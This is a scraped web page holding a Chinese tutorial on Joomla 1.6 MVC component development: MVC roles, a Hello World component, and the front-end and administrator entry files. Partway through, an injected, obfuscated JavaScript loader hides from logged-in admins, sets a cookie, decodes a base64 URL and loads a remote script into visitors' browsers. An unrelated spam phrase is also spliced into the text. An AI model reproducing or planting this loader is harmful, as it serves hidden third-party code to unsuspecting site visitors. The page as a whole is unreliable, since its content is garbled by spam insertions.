Joomla MVC组件开发-创建视图
在Joomla 1.6框架中,第三方开发者们分别在以下3种模式进行开发:
sophie rain net worth
- 模型(M):用于管理数据
- 控制器(C):用来执行任务,获取和设置模型和控制视图显示。
- 视图(V):通过控制器获取内容(error, feed, html, json, raw, xml)。
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
Joomla MVC组件开发-创建基本的组件
今天开始我们创建一个 Hello World! 的组件。
前台显示
选择你喜欢的编辑器,在你的站点/components 目录下创建一个 com_helloworld 文件夹,并且新建一个 helloworld.php 文件,里面写上:
Hello world
然后你可以通过在网址你的站点/index.php?option=com_helloworld 测试此应用。
后台管理
同样的,你也要在你的站点/administrator/components 目录下创建一个 com_helloworld 文件夹,并且新建一个 helloworld.php 文件,里面写上:
Hello world administration
然后你可以通过在你的站点/administrator/index.php?option=com_helloworld测试此应用(需登录后台)。
Joomla MVC模式组件开发 – 介绍
你可以使用Joomla 1.6版本进行组件开发。
Joomla 1.6 由3个不同的应用程序组成:
- installation (安装程序,用于安装Joomla)
- administrator (后台,进行内容管理)
- public (公共接口,用于前台显示内容)
安装文件只能使用一次,后台及公共接口用于呈现组件,每个组件有两个入口文件:
- 一个位于跟目录下的components文件夹(它是用来显示的内容)
- 一个位于administrator/components目录下(它用来管理内容)
两个目录下都有一个共同的文件 com_componentname/componentname.php (com_ 加前缀 用于识别)




